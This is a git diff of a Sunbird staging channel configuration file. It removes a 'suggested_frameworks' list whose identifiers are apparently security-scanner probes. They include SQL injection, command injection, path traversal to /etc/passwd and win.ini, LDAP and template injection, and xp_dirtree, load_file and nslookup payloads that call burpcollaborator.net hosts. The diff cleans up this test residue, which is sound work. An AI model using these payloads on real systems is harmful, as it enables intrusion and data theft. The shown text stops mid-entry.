diff --git a/buildConfig/data/staging/channel/channel-b00bc992ef25f1a9a8d63291e20efc8d.json b/buildConfig/data/staging/channel/channel-b00bc992ef25f1a9a8d63291e20efc8d.json index 831b2f27d..9b81521c6 100644 --- a/buildConfig/data/staging/channel/channel-b00bc992ef25f1a9a8d63291e20efc8d.json +++ b/buildConfig/data/staging/channel/channel-b00bc992ef25f1a9a8d63291e20efc8d.json @@ -17,1238 +17,6 @@ "consumerId": "fa271a76-c15a-4aa1-adff-31dd04682a1f", "channel": "in.ekstep", "description": "Sunbird", - "suggested_frameworks": [ - { - "identifier": "NCERTCOPY 105", - "code": "NCERTCOPY 105", - "name": "NCERTCOPY 105", - "objectType": "Framework" - }, - { - "identifier": "42wrhk5c0oÁ\u0081ikqwkvzmu1", - "code": "42wrhk5c0oÁ\u0081ikqwkvzmu1", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "xgrkq62331%41415oir7t80", - "code": "xgrkq62331%41415oir7t80", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester2vq23zuxeff%418kahzrvg9u", - "code": "tester2vq23zuxeff%418kahzrvg9u", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester2' and 8872=8872-- ", - "code": "tester2' and 8872=8872-- ", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester2&nslookup -q=cname 4rww24h661am8as0gwausxrwcniff3ar2eu2j.burpcollaborator.net.&'\\\"`0&nslookup -q=cname 4rww24h661am8as0gwausxrwcniff3ar2eu2j.burpcollaborator.net.&`'", - "code": "tester2&nslookup -q=cname 4rww24h661am8as0gwausxrwcniff3ar2eu2j.burpcollaborator.net.&'\\\"`0&nslookup -q=cname 4rww24h661am8as0gwausxrwcniff3ar2eu2j.burpcollaborator.net.&`'", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester2',0)waitfor delay'0:0:20'--", - "code": "tester2',0)waitfor delay'0:0:20'--", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester2';declare @q varchar(99);set @q='\\\\g3k8egtiidmykm4cs8m64938ozurrfi66ytqhf.burpcollab'+'orator.net\\mvp'; exec master.dbo.xp_dirtree @q;-- ", - "code": "tester2';declare @q varchar(99);set @q='\\\\g3k8egtiidmykm4cs8m64938ozurrfi66ytqhf.burpcollab'+'orator.net\\mvp'; exec master.dbo.xp_dirtree @q;-- ", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "lxwgl{{.}}bsful{{..}}sfboh", - "code": "lxwgl{{.}}bsful{{..}}sfboh", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester2%}n2ewr'/\"wi8g0", - "code": "tester2nk6s7wi8g0", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "../../../../../../../../../../../../../../../../etc/passwd\u0000tester2", - "code": "../../../../../../../../../../../../../../../../etc/passwd\u0000tester2", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester212462775' or '3497'='3497", - "code": "tester212462775' or '3497'='3497", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester2|ping -n 21 127.0.0.1||`ping -c 21 127.0.0.1` #' |ping -n 21 127.0.0.1||`ping -c 21 127.0.0.1` #\\\" |ping -n 21 127.0.0.1", - "code": "tester2|ping -n 21 127.0.0.1||`ping -c 21 127.0.0.1` #' |ping -n 21 127.0.0.1||`ping -c 21 127.0.0.1` #\\\" |ping -n 21 127.0.0.1", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester2'||(select extractvalue(xmltype('%iheqp;]>'),'/l') from dual)||'", - "code": "tester2'||(select extractvalue(xmltype('%iheqp;]>'),'/l') from dual)||'", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester2|echo 3wrn9ga6e2 nbypn7j70r||a #' |echo 3wrn9ga6e2 nbypn7j70r||a #|\" |echo 3wrn9ga6e2 nbypn7j70r||a #", - "code": "tester2|echo 3wrn9ga6e2 nbypn7j70r||a #' |echo 3wrn9ga6e2 nbypn7j70r||a #|\" |echo 3wrn9ga6e2 nbypn7j70r||a #", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "c:\\windows\\win.ini", - "code": "c:\\windows\\win.ini", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester2'+(select*from(select(sleep(20)))a)+'", - "code": "tester2'+(select*from(select(sleep(20)))a)+'", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "*)(!(!(objectClass=*))", - "code": "*)(!(!(objectClass=*))", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester2'.sleep(20).'", - "code": "tester2'.sleep(20).'", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "a8b3z<%= 505*126 %>bywlb", - "code": "a8b3z<%= 505*126 %>bywlb", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester2u3z25ojajcAe2shaffd5d", - "code": "tester2u3z25ojajcAe2shaffd5d", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "t01ez2mq5l)(objectClass=*", - "code": "t01ez2mq5l)(objectClass=*", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\windows\\win.ini\u0000tester2", - "code": "..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\windows\\win.ini\u0000tester2", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "b9l3kbzdo8stqha7y3s1a493uu0mxap2du0mob", - "code": "b9l3kbzdo8stqha7y3s1a493uu0mxap2du0mob", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester230380008' or 5613=5617-- ", - "code": "tester230380008' or 5613=5617-- ", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester2>\r\nBCC:x0ypbxqzfujfh31tppjn1q0plgr8owgq4irafz@burpcollaborator.net\r\nowo: w", - "code": "tester2>\r\nBCC:x0ypbxqzfujfh31tppjn1q0plgr8owgq4irafz@burpcollaborator.net\r\nowo: w", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester2yj0hibopf1Á\u0081nsmsc056yw", - "code": "tester2yj0hibopf1Á\u0081nsmsc056yw", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester2'+(select load_file('\\\\\\\\i5oagivkkfo0mo6euao86b5aq1wtthkk8cv4jt.burpcollaborator.net\\\\fgh'))+'", - "code": "tester2'+(select load_file('\\\\\\\\i5oagivkkfo0mo6euao86b5aq1wtthkk8cv4jt.burpcollaborator.net\\\\fgh'))+'", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester2'+(select load_file('\\\\\\\\89f0k8zao5sqqea4y0sya190ur0jx7oac2zunj.burpcollaborator.net\\\\gew'))+'", - "code": "tester2'+(select load_file('\\\\\\\\89f0k8zao5sqqea4y0sya190ur0jx7oac2zunj.burpcollaborator.net\\\\gew'))+'", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester2226dc7bwra%41tkfjk526o6", - "code": "tester2226dc7bwra%41tkfjk526o6", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester2'||(select extractvalue(xmltype('%bfzbh;]>'),'/l') from dual)||'", - "code": "tester2'||(select extractvalue(xmltype('%bfzbh;]>'),'/l') from dual)||'", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester27lxoy004puAejn0u3a2fl", - "code": "tester27lxoy004puAejn0u3a2fl", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "qgfdmfrdocÁ\u0081h2hwx2bpx8", - "code": "qgfdmfrdocÁ\u0081h2hwx2bpx8", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester2vmswjt9esl", - "code": "tester2vmswjt9esl", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester249900785' or '1720'='1720", - "code": "tester249900785' or '1720'='1720", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "(select extractvalue(xmltype('%xyuta;]>'),'/l') from dual)", - "code": "(select extractvalue(xmltype('%xyuta;]>'),'/l') from dual)", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester29o6chxf3buÁ\u0081jxd3kc3zb3", - "code": "tester29o6chxf3buÁ\u0081jxd3kc3zb3", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "(select load_file('\\\\\\\\ugemru6wvrzcx0hq5mzkhngm1d754tvvjn6fu4.burpcollaborator.net\\\\gnd'))", - "code": "(select load_file('\\\\\\\\ugemru6wvrzcx0hq5mzkhngm1d754tvvjn6fu4.burpcollaborator.net\\\\gnd'))", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "a4bn0t7o0uAbgcc3765qb", - "code": "a4bn0t7o0uAbgcc3765qb", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester2vu5byk7uct", - "code": "tester2vu5byk7uct", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester2' and 2451=2451'-- ", - "code": "tester2' and 2451=2451'-- ", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester229694313' or 5026=5026-- ", - "code": "tester229694313' or 5026=5026-- ", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester2' and 9354=9358-- ", - "code": "tester2' and 9354=9358-- ", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester276750359' or '3948'='3948", - "code": "tester276750359' or '3948'='3948", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester2';declare @q varchar(99);set @q='\\\\r3vjerttiom9kx4nsjmh4k3joau2rqih69t1hq.burpcollab'+'orator.net\\dpx'; exec master.dbo.xp_dirtree @q;-- ", - "code": "tester2';declare @q varchar(99);set @q='\\\\r3vjerttiom9kx4nsjmh4k3joau2rqih69t1hq.burpcollab'+'orator.net\\dpx'; exec master.dbo.xp_dirtree @q;-- ", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester2' and '5307'='5307'", - "code": "tester2' and '5307'='5307'", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester2')waitfor delay'0:0:20'--", - "code": "tester2')waitfor delay'0:0:20'--", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "", - "code": "", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "s3ym6${162*869}v1rid", - "code": "s3ym6${162*869}v1rid", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "./tester2", - "code": "./tester2", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester2&ping -n 21 127.0.0.1&", - "code": "tester2&ping -n 21 127.0.0.1&", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester2\"|echo ae929pvb63 4enuf299ar ||", - "code": "tester2\"|echo ae929pvb63 4enuf299ar ||", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "jbf/tester2", - "code": "jbf/tester2", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester2]]>><", - "code": "tester2]]>><", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester2' and 6349=6349-- ", - "code": "tester2' and 6349=6349-- ", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester2'||(select extractvalue(xmltype('%vnxid;]>'),'/l') from dual)||'", - "code": "tester2'||(select extractvalue(xmltype('%vnxid;]>'),'/l') from dual)||'", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester2' and 7590=7590-- ", - "code": "tester2' and 7590=7590-- ", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester2' and '7871'='7871", - "code": "tester2' and '7871'='7871", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester260176188' or 6574=6574-- ", - "code": "tester260176188' or 6574=6574-- ", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester2' and 9297=9297'-- ", - "code": "tester2' and 9297=9297'-- ", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester229884522' or 3105=3105'-- ", - "code": "tester229884522' or 3105=3105'-- ", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester2;declare @q varchar(99);set @q='\\\\r6yjhrwtlop9nx7nvjph7k6jrax2uqlg98w0kp.burpcollab'+'orator.net\\byf'; exec master.dbo.xp_dirtree @q;-- ", - "code": "tester2;declare @q varchar(99);set @q='\\\\r6yjhrwtlop9nx7nvjph7k6jrax2uqlg98w0kp.burpcollab'+'orator.net\\byf'; exec master.dbo.xp_dirtree @q;-- ", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester2;declare @q varchar(99);set @q='\\\\aao2la0cp7tsrgb6z2t0b3a2vt1ly9pzdr0jo8.burpcollab'+'orator.net\\hjb'; exec master.dbo.xp_dirtree @q;-- ", - "code": "tester2;declare @q varchar(99);set @q='\\\\aao2la0cp7tsrgb6z2t0b3a2vt1ly9pzdr0jo8.burpcollab'+'orator.net\\hjb'; exec master.dbo.xp_dirtree @q;-- ", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester2' and '6705'='6706", - "code": "tester2' and '6705'='6706", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "ml0aw9k7o2\\\\lzp3qrzo8f", - "code": "ml0aw9k7o2\\\\lzp3qrzo8f", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester223607613' or 2791=2791-- ", - "code": "tester223607613' or 2791=2791-- ", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester2;declare @q varchar(99);set @q='\\\\2ruu22h46zak88syguassvruclidf16rujhb50.burpcollab'+'orator.net\\sko'; exec master.dbo.xp_dirtree @q;-- ", - "code": "tester2;declare @q varchar(99);set @q='\\\\2ruu22h46zak88syguassvruclidf16rujhb50.burpcollab'+'orator.net\\sko'; exec master.dbo.xp_dirtree @q;-- ", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester2' and 3926=3926-- ", - "code": "tester2' and 3926=3926-- ", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester2' and 5866=5866'-- ", - "code": "tester2' and 5866=5866'-- ", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "(select extractvalue(xmltype('%vnxid;]>'),'/l') from dual)", - "code": "(select extractvalue(xmltype('%vnxid;]>'),'/l') from dual)", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester215544232' or 4746=4746-- ", - "code": "tester215544232' or 4746=4746-- ", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester258594272' or 5360=5360-- ", - "code": "tester258594272' or 5360=5360-- ", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester2'\"`0&nslookup -q=cname qgairq6svnz8xwhm5izghjgi19714p1dt0loa.burpcollaborator.net.&`'", - "code": "tester2'\"`0&nslookup -q=cname qgairq6svnz8xwhm5izghjgi19714p1dt0loa.burpcollaborator.net.&`'", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "/etc/passwd", - "code": "/etc/passwd", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester2'|ping -c 21 127.0.0.1 #", - "code": "tester2'|ping -c 21 127.0.0.1 #", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester299352050' or '9143'='9152", - "code": "tester299352050' or '9143'='9152", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "k6avm9ksmx)(!(objectClass=*)", - "code": "k6avm9ksmx)(!(objectClass=*)", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "*)(objectClass=*", - "code": "*)(objectClass=*", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester2' waitfor delay'0:0:20'--", - "code": "tester2' waitfor delay'0:0:20'--", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester2alert(1)", - "code": "tester2alert(1)", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "iawali0kpft0robezat8bbaav11tyhq5isagz.burpcollaborator.net", - "code": "iawali0kpft0robezat8bbaav11tyhq5isagz.burpcollaborator.net", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester2..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\windows\\win.ini", - "code": "tester2..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\windows\\win.ini", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tns0p7m17i", - "code": "tns0p7m17i", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "gns0g{{143*739}}zdc5r", - "code": "gns0g{{143*739}}zdc5r", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester2' and '3681'='3681", - "code": "tester2' and '3681'='3681", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "http://yz1qayp0evigg40uoqio0rzqkhq9nxdl58xwm.burpcollaborator.net/?tester2", - "code": "http://yz1qayp0evigg40uoqio0rzqkhq9nxdl58xwm.burpcollaborator.net/?tester2", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester252979376' or 8439=8439-- ", - "code": "tester252979376' or 8439=8439-- ", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester2'+(select load_file('\\\\\\\\6qxy16g8539o7cr2fy9wrzqybphhe558t0gs4h.burpcollaborator.net\\\\ruy'))+'", - "code": "tester2'+(select load_file('\\\\\\\\6qxy16g8539o7cr2fy9wrzqybphhe558t0gs4h.burpcollaborator.net\\\\ruy'))+'", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester2' and '5701'='5701", - "code": "tester2' and '5701'='5701", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester2'||(select extractvalue(xmltype('%emntp;]>'),'/l') from dual)||'", - "code": "tester2'||(select extractvalue(xmltype('%emntp;]>'),'/l') from dual)||'", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "6twxfkyt5eAj3vxwiwzof", - "code": "6twxfkyt5eAj3vxwiwzof", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester213497927' or 1561=1561-- ", - "code": "tester213497927' or 1561=1561-- ", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester2);declare @q varchar(99);set @q='\\\\uwum7umwbrfcd0xqlmfkxnwmhdn5ktblzdm5au.burpcollab'+'orator.net\\arg'; exec master.dbo.xp_dirtree @q;-- ", - "code": "tester2);declare @q varchar(99);set @q='\\\\uwum7umwbrfcd0xqlmfkxnwmhdn5ktblzdm5au.burpcollab'+'orator.net\\arg'; exec master.dbo.xp_dirtree @q;-- ", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester280683540' or '9715'='9715'", - "code": "tester280683540' or '9715'='9715'", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester2' and '6085'='6085", - "code": "tester2' and '6085'='6085", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester25f92cr117b", - "code": "tester25f92cr117b", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester2'+(select load_file('\\\\\\\\o5uggovqklo6mu6kugoe6h5gq7wztnkq8ivajz.burpcollaborator.net\\\\clv'))+'", - "code": "tester2'+(select load_file('\\\\\\\\o5uggovqklo6mu6kugoe6h5gq7wztnkq8ivajz.burpcollaborator.net\\\\clv'))+'", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester2' and '8026'='8026", - "code": "tester2' and '8026'='8026", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester2' and 1616=1618-- ", - "code": "tester2' and 1616=1618-- ", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester250011712' or '6534'='6534", - "code": "tester250011712' or '6534'='6534", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "zh0n48unbb\\\\lkntiuqtti", - "code": "zh0n48unbb\\\\lkntiuqtti", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester283154367' or '1473'='1473'", - "code": "tester283154367' or '1473'='1473'", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "72ryo9o2hz%419aykiqt7gz", - "code": "72ryo9o2hz%419aykiqt7gz", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester2');declare @q varchar(99);set @q='\\\\7ckzn729r4vptdd31zvxd0czxq3i06rzfr2jq8.burpcollab'+'orator.net\\mpe'; exec master.dbo.xp_dirtree @q;-- ", - "code": "tester2');declare @q varchar(99);set @q='\\\\7ckzn729r4vptdd31zvxd0czxq3i06rzfr2jq8.burpcollab'+'orator.net\\mpe'; exec master.dbo.xp_dirtree @q;-- ", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester2qqb2o9y3cu%41287hq0dfgg", - "code": "tester2qqb2o9y3cu%41287hq0dfgg", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "e34z927k1c", - "code": "e34z927k1c", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester2);declare @q varchar(99);set @q='\\\\bap3lb0dp8ttrhb7z3t1b4a3vu1myap2du0mob.burpcollab'+'orator.net\\xcc'; exec master.dbo.xp_dirtree @q;-- ", - "code": "tester2);declare @q varchar(99);set @q='\\\\bap3lb0dp8ttrhb7z3t1b4a3vu1myap2du0mob.burpcollab'+'orator.net\\xcc'; exec master.dbo.xp_dirtree @q;-- ", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester2' and '9799'='9799", - "code": "tester2' and '9799'='9799", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester2';declare @q varchar(99);set @q='\\\\5lrxw5b7024n2bm1ax4vmylx6ocg940vonbfz4.burpcollab'+'orator.net\\bml'; exec master.dbo.xp_dirtree @q;-- ", - "code": "tester2';declare @q varchar(99);set @q='\\\\5lrxw5b7024n2bm1ax4vmylx6ocg940vonbfz4.burpcollab'+'orator.net\\bml'; exec master.dbo.xp_dirtree @q;-- ", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester29ctb02wmzl\\\\lbtux1eoz9", - "code": "tester29ctb02wmzl\\\\lbtux1eoz9", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester2');declare @q varchar(99);set @q='\\\\rlgjwrbt0o492xmnaj4hmklj6ac29q0jobb3zs.burpcollab'+'orator.net\\mei'; exec master.dbo.xp_dirtree @q;-- ", - "code": "tester2');declare @q varchar(99);set @q='\\\\rlgjwrbt0o492xmnaj4hmklj6ac29q0jobb3zs.burpcollab'+'orator.net\\mei'; exec master.dbo.xp_dirtree @q;-- ", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester297258624' or '6559'='6564", - "code": "tester297258624' or '6559'='6564", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "(select extractvalue(xmltype('%emntp;]>'),'/l') from dual)", - "code": "(select extractvalue(xmltype('%emntp;]>'),'/l') from dual)", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester257691531' or '4520'='4526", - "code": "tester257691531' or '4520'='4526", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester291023170' or '5872'='5872", - "code": "tester291023170' or '5872'='5872", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester2uh8yppe6ey", - "code": "tester2uh8yppe6ey", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester2wdoy6mgpztÁ\u00816vc3b7oliy", - "code": "tester2wdoy6mgpztÁ\u00816vc3b7oliy", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "j3lefx9ug0)(!(!(!(objectClass=*)))", - "code": "j3lefx9ug0)(!(!(!(objectClass=*)))", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester2;declare @q varchar(99);set @q='\\\\v62nhvwxlspdn17rvnpl7o6nrex6uulk9cw4kt.burpcollab'+'orator.net\\pzn'; exec master.dbo.xp_dirtree @q;-- ", - "code": "tester2;declare @q varchar(99);set @q='\\\\v62nhvwxlspdn17rvnpl7o6nrex6uulk9cw4kt.burpcollab'+'orator.net\\pzn'; exec master.dbo.xp_dirtree @q;-- ", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester210017838' or 7707=7707-- ", - "code": "tester210017838' or 7707=7707-- ", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester226745103' or '2011'='2011", - "code": "tester226745103' or '2011'='2011", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "fuztg\n= 361*239", - "code": "fuztg\n= 361*239", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester2);declare @q varchar(99);set @q='\\\\jobbzjel3g715ppfdb79pcob92fuci3ar2eu2j.burpcollab'+'orator.net\\fxn'; exec master.dbo.xp_dirtree @q;-- ", - "code": "tester2);declare @q varchar(99);set @q='\\\\jobbzjel3g715ppfdb79pcob92fuci3ar2eu2j.burpcollab'+'orator.net\\fxn'; exec master.dbo.xp_dirtree @q;-- ", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "ks5rb1lb6d)(!(!(objectClass=*))", - "code": "ks5rb1lb6d)(!(!(objectClass=*))", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "riu", - "code": "riu", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester2\"|ping -n 21 127.0.0.1 ||", - "code": "tester2\"|ping -n 21 127.0.0.1 ||", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester2'+(function(){if(typeof v0e1z===\"undefined\"){var a=new Date();do{var b=new Date();}while(b-a<20000);v0e1z=1;}}())+'", - "code": "tester2'+(function(){if(typeof v0e1z===\"undefined\"){var a=new Date();do{var b=new Date();}while(b-a<20000);v0e1z=1;}}())+'", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "#set ($a=204*955) s7x5j${a}n4rec", - "code": "#set ($a=204*955) s7x5j${a}n4rec", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\windows\\win.ini", - "code": "..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\windows\\win.ini", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "eval(compile('for x in range(1):\\n import time\\n time.sleep(20)','a','single'))", - "code": "eval(compile('for x in range(1):\\n import time\\n time.sleep(20)','a','single'))", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "*)(!(!(!(objectClass=*)))", - "code": "*)(!(!(!(objectClass=*)))", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "*)(!(objectClass=*)", - "code": "*)(!(objectClass=*)", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "lb21r47lvt%410731qzyroe", - "code": "lb21r47lvt%410731qzyroe", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester2');declare @q varchar(99);set @q='\\\\el36webg0b4w2kmaa644m7l66xcp9d06oybqzf.burpcollab'+'orator.net\\rbx'; exec master.dbo.xp_dirtree @q;-- ", - "code": "tester2');declare @q varchar(99);set @q='\\\\el36webg0b4w2kmaa644m7l66xcp9d06oybqzf.burpcollab'+'orator.net\\rbx'; exec master.dbo.xp_dirtree @q;-- ", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester2' and '4564'='4570", - "code": "tester2' and '4564'='4570", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "\"-->'-->`-->", - "code": "\"-->'-->`-->", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester2\"", - "code": "tester2\"", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester2' and '1956'='1956", - "code": "tester2' and '1956'='1956", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester2' and 4295=4295'-- ", - "code": "tester2' and 4295=4295'-- ", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "../../../../../../../../../../../../../../../../etc/passwd", - "code": "../../../../../../../../../../../../../../../../etc/passwd", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "././tester2", - "code": "././tester2", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "(select load_file('\\\\\\\\648yf6u8j3nolc52tynw5z4yppvhs5j77zurig.burpcollaborator.net\\\\szm'))", - "code": "(select load_file('\\\\\\\\648yf6u8j3nolc52tynw5z4yppvhs5j77zurig.burpcollaborator.net\\\\szm'))", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "f316p{{561|add:652}}iqljm", - "code": "f316p{{561|add:652}}iqljm", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester2k806xehyx0", - "code": "tester2k806xehyx0", - "name": "Sample Framework", - "objectType": "Framework" - }, - { - "identifier": "tester2' and 9513=9513-- ", - "code": "tester2' and 9513=9513-- ", - "name": "Sample Framework", - 